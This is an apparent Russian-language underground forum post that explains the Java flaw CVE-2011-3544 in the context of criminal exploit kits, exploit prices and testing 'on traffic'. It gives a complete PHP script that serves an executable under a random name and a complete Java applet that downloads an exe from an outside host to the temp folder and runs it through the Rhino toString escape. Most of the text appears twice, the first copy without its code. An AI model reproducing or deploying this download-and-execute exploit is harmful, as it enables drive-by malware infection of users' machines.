Сегодняшнее мое повествование пойдет о нашумевшей баге CVE-2011-3544.
Итак, что нам известно:
1. известно что бага позволяет использовать уязвимость для связок эксплоитов и пробивает она на версиях JAVA 1.6.0 - 1.6.28 и Java 7.0 (if((jver[1]==6)&&(jver[3]<=28)&&(jver[3]>23)) если судить по блекхоллу)
2. известно что два человека написали рабочую версию сплоита. Это xlt и КРЫС.
3. известно что ценник на этот сплоит на текущий момент 5К$
За вчерашний вечер мне постучало два человека и оба на одну и ту же тему. Оба говорили о этом сплоите, но первый очень желал его заполучить и попробовать на трафе, а второй решил показать мне эту багу и попросил описать ее суть.
Итак, что же необходимо почитать для понимания о чем идет речь:
Заходим http://schierlm.users.sourceforge.net/CVE-2011-3544.html сюда.
Обращаем внимание на следующие строки:
вот - строковая функция срабатывает при неявном вызове
Начинаем подготовку к тестам:
На виртуалку качаем java версии 1.6.28 (лично я устанавливал последнюю версию с сайта. Для запуска локально из консоли она подойдет тоже).
Затем устанавливаем JAVA SDK (http://www.oracle.com/technetwork/java/javase/downloads/index.html). Он нам понадобится для работы с нашим модулем.
Для локального запуска нам понадобится прописать pach в системных переменных. Для этого смотрим куда у нас установился java SDK. В папке bin находим javac.exe и создаем ярлык с него на рабочий стол. Открываем свойства ярлыка, и копируем полный путь к файлу.
У меня получился он следующим: C:\Program Files\Java\jdk1.7.0_1\bin
Вписываем глобальную переменную как описано здесь http://clip2net.com/s/1jtOP или по текстовому описанию:
Windows: заходим в свойства моего компьютера(Win+Break) -> Дополнительно -> Переменные среды.
В переменную path через точку с запятой выставляем путь к папке JDK/bin.
Создаем переменную JAVA_HOME и записываем путь к JDK.
Перезагружаемся и открываем cmd
пишем с командной строке javac
Если выдало что программа не найдена или не является системной - значит что-то напутали с глобальной переменной. Вы не там или не так прописали pach.
Если выдало текст от работы программы - значит все сделано верно.
Все готово?
Нет. Нужен сервер с установленным апачем или любым другим вэб-сервером. Нам нужно будет выполнить php-скрипт и выдать наш exe файл.
На сервер заливаем следующий php файл:
Ну и, соответственно, exe-файл с именем cliconfg.exe (можно взять обычный блокнот и залить на сервер с таким именем).
exe и php файлы должны лежать в одной директории, т.к. пути у нас не прописаны и скрипт будет искать экзешник рядом с собой.
У меня получилось вот так:
http://dlab.org.in/java.php
http://dlab.org.in/cliconfg.exe
Теперь перейдем к самому вкусному
Создаем папку в любом удобном месте. (я использовал c:\soft)
В ней создаем файлик Main.java
Содержимое файла:
Как видим, здесь забит мой сервер с php-скриптом который мы создавали ранее.
Если разбираться построчно - то
import java.applet.Applet;
import java.io.*;
import java.net.URL;
Подключаем либы необходимы для работы аплета и работы его в сети.
import javax.script.*; подключение рино
Затем начинается метод и цикл. Зачем цикл?
Все просто, в случае ошибки сети, или перегрузки сервера или неправильного положения звезд на небе мы пробуем выполнить скрипт 10 раз. В случае успеха мы выходим из цикла.(взято из траста)
Далее объявляем удаленный урл и определяем локальный урл для скачивания файла.
Открываем соединение.
String str2=System.getProperty("java.io.tmpdir"); это стандартныая папка темп
int j=0;
byte[] arrayOfByte=new byte[8192];
while ((j = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1)
{
localFileOutputStream.write(arrayOfByte, 0, j);
}
localFileOutputStream.close();
localInputStream.close();
Это запись получаемого содержимого в массив байт, затем закрытие коннекта.
"java.lang.Runtime.getRuntime().exec('"+str3+"');"+ это запуск
proxy.run();
System.out.println(proxy.toString()); - а это уязвимость, та самая
Итак, пробуем:
Открываем опять коммандную строку cmd
Переходим в папку с нашим Main.java (cd c:\soft\)
Ну и запускаем java -cp . Main
Секунды через 4 мой exe успешно выполнился на локальной машине.
----------------------------------------------------------------------------------------------------
А теперь, собственно, сам вопрос: почему blakkat (который показал вышеописанное) желает разжевать суть баги? Говорит, что у него есть вариант для браузера, а это только локальное исполнение. И к тому же, на его тестах, по его словам, сплоит оказался лажей полной.
Тем не менее, в блэкхоле и инкогнито сплоит юзается полным ходом. А EL- утверждает, что сплоит идет там с приличным отрывом от остальных.
В беседе со мной XLT говорит, что вышеописанное - полный бред. И крупицы истины тут нет. А еще нужно юзать вторую багу вкупе с этой что-бы запускать бинарник.
Поэтому на ваше усмотрение предлагается обсудить все вышеописанное и найти все-же золотую середину.
p.s. планировал обзором на главной, но чем дальше я в этой истории пытаюсь разобраться тем более мутные нюансы возникают.
Итак, что нам известно:
1. известно что бага позволяет использовать уязвимость для связок эксплоитов и пробивает она на версиях JAVA 1.6.0 - 1.6.28 и Java 7.0 (if((jver[1]==6)&&(jver[3]<=28)&&(jver[3]>23)) если судить по блекхоллу)
2. известно что два человека написали рабочую версию сплоита. Это xlt и КРЫС.
3. известно что ценник на этот сплоит на текущий момент 5К$
За вчерашний вечер мне постучало два человека и оба на одну и ту же тему. Оба говорили о этом сплоите, но первый очень желал его заполучить и попробовать на трафе, а второй решил показать мне эту багу и попросил описать ее суть.
Итак, что же необходимо почитать для понимания о чем идет речь:
Заходим http://schierlm.users.sourceforge.net/CVE-2011-3544.html сюда.
Обращаем внимание на следующие строки:
System.out.println("7 toString returned "+proxy.toString());
While the guys at Sun/Oracle spent quite a lot of time trying to achieve this, they missed (at least) one way, where you can create a script that returns a (Java) object whose toString method will run any script code in the context of the caller of the toString method.
toString: function() {" + " java.lang.System.out.println('4 Doing');" +
вот - строковая функция срабатывает при неявном вызове
Начинаем подготовку к тестам:
На виртуалку качаем java версии 1.6.28 (лично я устанавливал последнюю версию с сайта. Для запуска локально из консоли она подойдет тоже).
Затем устанавливаем JAVA SDK (http://www.oracle.com/technetwork/java/javase/downloads/index.html). Он нам понадобится для работы с нашим модулем.
Для локального запуска нам понадобится прописать pach в системных переменных. Для этого смотрим куда у нас установился java SDK. В папке bin находим javac.exe и создаем ярлык с него на рабочий стол. Открываем свойства ярлыка, и копируем полный путь к файлу.
У меня получился он следующим: C:\Program Files\Java\jdk1.7.0_1\bin
Вписываем глобальную переменную как описано здесь http://clip2net.com/s/1jtOP или по текстовому описанию:
Windows: заходим в свойства моего компьютера(Win+Break) -> Дополнительно -> Переменные среды.
В переменную path через точку с запятой выставляем путь к папке JDK/bin.
Создаем переменную JAVA_HOME и записываем путь к JDK.
Перезагружаемся и открываем cmd
пишем с командной строке javac
Если выдало что программа не найдена или не является системной - значит что-то напутали с глобальной переменной. Вы не там или не так прописали pach.
Если выдало текст от работы программы - значит все сделано верно.
Все готово?
Нет. Нужен сервер с установленным апачем или любым другим вэб-сервером. Нам нужно будет выполнить php-скрипт и выдать наш exe файл.
На сервер заливаем следующий php файл:
Код:
<?php
$file_load = 'cliconfg.exe';
$size = filesize( $file_load );
$fp = fopen( $file_load, "r" );
$source = fread( $fp, $size );
header( "Content-Disposition: inline; filename=".rand( 100000, 900000 ).".exe" );
header( "\r\n" );
header( "Content-Type: application/octet-stream\r\n\r\n" );
echo $source;
?>
Ну и, соответственно, exe-файл с именем cliconfg.exe (можно взять обычный блокнот и залить на сервер с таким именем).
exe и php файлы должны лежать в одной директории, т.к. пути у нас не прописаны и скрипт будет искать экзешник рядом с собой.
У меня получилось вот так:
http://dlab.org.in/java.php
http://dlab.org.in/cliconfg.exe
Теперь перейдем к самому вкусному
Создаем папку в любом удобном месте. (я использовал c:\soft)
В ней создаем файлик Main.java
Содержимое файла:
Код:
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import javax.script.*;
public class Main extends Applet
{
public static void main(String[] args) throws Exception
{
for(int i=0;i<10;i++)
{
try
{
String s316="http://dlab.org.in/java.php?f=s";
URL localURL = new URL(s316);
localURL.openConnection();
InputStream localInputStream = localURL.openStream();
String str2=System.getProperty("java.io.tmpdir");
if(str2.charAt(str2.length()-1)!='\\') str2=str2+"\\";
String s474=str2+"cliconfga.exe";
String str3=s474.replace("\\","\\\\\\\\\\\\\\\\");
FileOutputStream localFileOutputStream = new FileOutputStream(str3);
int j=0;
byte[] arrayOfByte=new byte[8192];
while ((j = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1)
{
localFileOutputStream.write(arrayOfByte, 0, j);
}
localFileOutputStream.close();
localInputStream.close();
ScriptEngine engine=new ScriptEngineManager().getEngineByName("js");
Bindings b=engine.createBindings();
Runnable proxy=(Runnable)engine.eval(
"java.lang.Runnable"+
"({"+
"run:function(){"+
"},"+
"toString:function()"+
"{"+
"java.lang.Runtime.getRuntime().exec('"+str3+"');"+
"}"+
"})",b);
proxy.run();
System.out.println(proxy.toString());
i=10;
return;
}
catch (Exception localException)
{
if(i!=9)
continue;
System.out.println(localException);
}
}
}
}
Как видим, здесь забит мой сервер с php-скриптом который мы создавали ранее.
Если разбираться построчно - то
import java.applet.Applet;
import java.io.*;
import java.net.URL;
Подключаем либы необходимы для работы аплета и работы его в сети.
import javax.script.*; подключение рино
Затем начинается метод и цикл. Зачем цикл?
Все просто, в случае ошибки сети, или перегрузки сервера или неправильного положения звезд на небе мы пробуем выполнить скрипт 10 раз. В случае успеха мы выходим из цикла.(взято из траста)
Далее объявляем удаленный урл и определяем локальный урл для скачивания файла.
Открываем соединение.
String str2=System.getProperty("java.io.tmpdir"); это стандартныая папка темп
int j=0;
byte[] arrayOfByte=new byte[8192];
while ((j = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1)
{
localFileOutputStream.write(arrayOfByte, 0, j);
}
localFileOutputStream.close();
localInputStream.close();
Это запись получаемого содержимого в массив байт, затем закрытие коннекта.
"java.lang.Runtime.getRuntime().exec('"+str3+"');"+ это запуск
proxy.run();
System.out.println(proxy.toString()); - а это уязвимость, та самая
Итак, пробуем:
Открываем опять коммандную строку cmd
Переходим в папку с нашим Main.java (cd c:\soft\)
Ну и запускаем java -cp . Main
Секунды через 4 мой exe успешно выполнился на локальной машине.
----------------------------------------------------------------------------------------------------
А теперь, собственно, сам вопрос: почему blakkat (который показал вышеописанное) желает разжевать суть баги? Говорит, что у него есть вариант для браузера, а это только локальное исполнение. И к тому же, на его тестах, по его словам, сплоит оказался лажей полной.
Тем не менее, в блэкхоле и инкогнито сплоит юзается полным ходом. А EL- утверждает, что сплоит идет там с приличным отрывом от остальных.
В беседе со мной XLT говорит, что вышеописанное - полный бред. И крупицы истины тут нет. А еще нужно юзать вторую багу вкупе с этой что-бы запускать бинарник.
Поэтому на ваше усмотрение предлагается обсудить все вышеописанное и найти все-же золотую середину.
p.s. планировал обзором на главной, но чем дальше я в этой истории пытаюсь разобраться тем более мутные нюансы возникают.